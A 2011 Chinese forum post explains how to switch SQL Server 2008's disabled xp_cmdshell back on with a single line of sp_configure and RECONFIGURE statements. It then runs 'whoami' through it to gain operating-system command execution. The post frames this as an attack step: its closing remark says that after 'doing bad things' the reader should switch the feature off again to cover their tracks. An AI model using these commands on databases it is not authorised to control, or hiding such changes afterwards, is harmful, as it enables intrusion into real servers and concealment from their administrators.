静静水 發表於 2011-9-29 22:49:09

MSSQL2008一句话启用xp_cmdshell

<p style="LINE-HEIGHT: normal"><span style="FONT-SIZE: 16px; COLOR: rgb(255,0,0); LINE-HEIGHT: normal">SQL Server 阻止了对组件 'xp_cmdshell' 的 过程 'sys.xp_cmdshell' 的访问，因为此组件已作为此服务器安全配置的一部分而被关闭。系统管理员可以通过使用 sp_configure 启用 'xp_cmdshell'。有关启用 'xp_cmdshell' 的详细信息，请参阅 SQL Server 联机丛书中的 &quot;外围应用配置器&quot;。</span></p>
<p style="LINE-HEIGHT: normal"><span style="COLOR: rgb(255,0,0); LINE-HEIGHT: normal"><img style="WIDTH: 408px; CURSOR: pointer; LINE-HEIGHT: normal" alt="" src="https://img.jbzj.com/do/uploads/allimg/110929/2249370.jpg" small="0" /></span></p>
<p style="LINE-HEIGHT: normal">&nbsp;<span style="LINE-HEIGHT: normal"><img style="WIDTH: 407px; CURSOR: pointer; LINE-HEIGHT: normal" alt="" src="https://img.jbzj.com/do/uploads/allimg/110929/2249371.jpg" small="0" /></span></p>
<p style="LINE-HEIGHT: normal">&nbsp;</p>
<p style="LINE-HEIGHT: normal"><span style="FONT-SIZE: 16px; COLOR: rgb(0,0,0); LINE-HEIGHT: normal; BACKGROUND-COLOR: rgb(255,255,255)">幸运的是：只要该扩展存储过程没被删除，我们就可以一句话启用它(不支持多句执行的话，请单独执行每句)：</span></p>
<p style="LINE-HEIGHT: normal"><strong style="LINE-HEIGHT: normal"><span style="FONT-SIZE: 14px; COLOR: rgb(0,170,255); LINE-HEIGHT: normal">EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;</span></strong></p>
<p style="LINE-HEIGHT: normal"><span style="COLOR: rgb(0,0,0); LINE-HEIGHT: normal; BACKGROUND-COLOR: rgb(255,255,255)"><img style="WIDTH: 410px; CURSOR: pointer; LINE-HEIGHT: normal" alt="" src="https://img.jbzj.com/do/uploads/allimg/110929/2249372.jpg" small="0" /></span></p>
<p style="LINE-HEIGHT: normal">&nbsp;</p>
<p style="LINE-HEIGHT: normal"><span style="FONT-SIZE: 16px; COLOR: rgb(0,0,0); LINE-HEIGHT: normal; BACKGROUND-COLOR: rgb(255,255,255)">好了，来试试！</span></p>
<p style="LINE-HEIGHT: normal"><span style="FONT-SIZE: 16px; COLOR: rgb(0,0,0); LINE-HEIGHT: normal; BACKGROUND-COLOR: rgb(255,255,255)">exec master..xp_cmdshell &quot;whoami&quot;</span></p>
<p style="LINE-HEIGHT: normal"><span style="COLOR: rgb(0,0,0); LINE-HEIGHT: normal; BACKGROUND-COLOR: rgb(255,255,255)"><span style="LINE-HEIGHT: normal"><img style="WIDTH: 410px; CURSOR: pointer; LINE-HEIGHT: normal" alt="" src="https://img.jbzj.com/do/uploads/allimg/110929/2249373.jpg" small="0" /></span><br /></span></p>
<p style="LINE-HEIGHT: normal">&nbsp;</p>
<p style="LINE-HEIGHT: normal"><span style="COLOR: rgb(0,0,0); LINE-HEIGHT: normal; BACKGROUND-COLOR: rgb(255,255,255)"><span style="FONT-SIZE: 16px; COLOR: rgb(0,0,0); LINE-HEIGHT: normal; BACKGROUND-COLOR: rgb(255,255,255)">PS:干完坏事要擦PP哦！将开启语句的第二个1改成0再执行，xp_cmdshell就又处于禁用状态了</span></span></p>
頁: [1]
查看完整版本: MSSQL2008一句话启用xp_cmdshell